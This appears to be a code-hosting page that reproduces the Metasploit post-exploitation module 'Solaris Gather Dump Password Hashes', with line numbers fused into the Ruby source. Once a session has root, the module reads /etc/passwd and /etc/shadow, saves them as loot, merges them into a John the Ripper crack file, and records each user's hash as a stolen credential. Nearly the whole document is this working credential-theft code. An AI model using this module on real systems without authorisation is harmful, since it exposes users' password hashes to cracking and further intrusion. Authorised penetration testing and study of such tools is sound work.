Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/solaris/gather/hashdump.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',14'Description' => %q{15Post module to dump the password hashes for all users on a Solaris System16},17'License' => MSF_LICENSE,18'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => [ 'solaris' ],20'SessionTypes' => [ 'shell' ]21)22)23end2425# Run Method for when run command is issued26def run27if is_root?28passwd_file = read_file('/etc/passwd')29shadow_file = read_file('/etc/shadow')3031# Save in loot the passwd and shadow file32p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')33p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')34vprint_good("Shadow saved in: #{p1}")35vprint_good("passwd saved in: #{p2}")3637# Unshadow the files38john_file = unshadow(passwd_file, shadow_file)39john_file.each_line do |l|40hash_parts = l.split(':')41jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]42if jtr_format.empty? # overide the default43jtr_format = 'des,bsdi,crypt'44end45credential_data = {46jtr_format: jtr_format,47origin_type: :session,48post_reference_name: refname,49private_type: :nonreplayable_hash,50private_data: hash_parts[1],51session_id: session_db_id,52username: hash_parts[0],53workspace_id: myworkspace_id54}55create_credential(credential_data)56print_good(l.chomp)57end58# Save pwd file59upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')60print_good("Unshadowed Password File: #{upassf}")6162else63print_error('You must run this module as root!')64end65end6667def unshadow(pf, sf)68unshadowed = ''69sf.each_line do |sl|70pass = sl.scan(/^\w*:([^:]*)/).join71next unless pass !~ /^\*LK\*|^NP/7273user = sl.scan(/(^\w*):/).join74pf.each_line do |pl|75if pl.match(/^#{user}:/)76unshadowed << pl.gsub(/:x:/, ":#{pass}:")77end78end79end80return unshadowed81end82end838485